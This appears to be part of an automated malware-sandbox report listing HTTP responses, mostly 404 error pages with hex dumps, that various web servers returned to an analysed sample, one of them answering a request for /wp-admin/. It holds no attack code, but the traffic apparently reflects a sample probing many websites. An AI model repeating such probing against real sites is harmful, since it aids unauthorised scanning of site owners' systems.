Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 35 0d 0a 77 65 62 6d 61 73 74 65 72 40 66 69 6e 61 6e 63 65 66 61 73 74 2e 63 6f 6d 2e 62 72 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 64 0d 0a 77 65 62 6d 61 73 74 65 72 40 66 69 6e 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheVary: accept-language,accept-charset,User-AgentAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Content-Language: enData Raw: 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 33 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 32 62 0d 0a 25 35 62 6e 6f 25 32 30 61 64 64 72 65 73 73 25 32 30 67 69 76 65 6e 25 35 64 22 3e 77 65 62 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Sun, 26 Nov 2023 05:59:25 GMTContent-Length: 0Connection: keep-alivex-backend: deny_backendStrict-Transport-Security: max-age=31536000; includeSubDomains
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheX-Powered-By: PleskLinVary: User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 30 0d 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 10File not found.0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.57 (Unix)Content-Length: 299Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 62 6c 65 20 74 6f 20 73 65 72 76 69 63 65 20 79 6f 75 72 0a 72 65 71 75 65 73 74 20 64 75 65 20 74 6f 20 6d 61 69 6e 74 65 6e 61 6e 63 65 20 64 6f 77 6e 74 69 6d 65 20 6f 72 20 63 61 70 61 63 69 74 79 0a 70 72 6f 62 6c 65 6d 73 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>503 Service Unavailable</title></head><body><h1>Service Unavailable</h1><p>The server is temporarily unable to service yourrequest due to maintenance downtime or capacityproblems. Please try again later.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheContent-Length: 207Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 70 2d 61 64 6d 69 6e 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wp-admin/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:34 GMTserver: LiteSpeedData Raw: 32 66 39 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 Data Ascii: 2f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:06 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
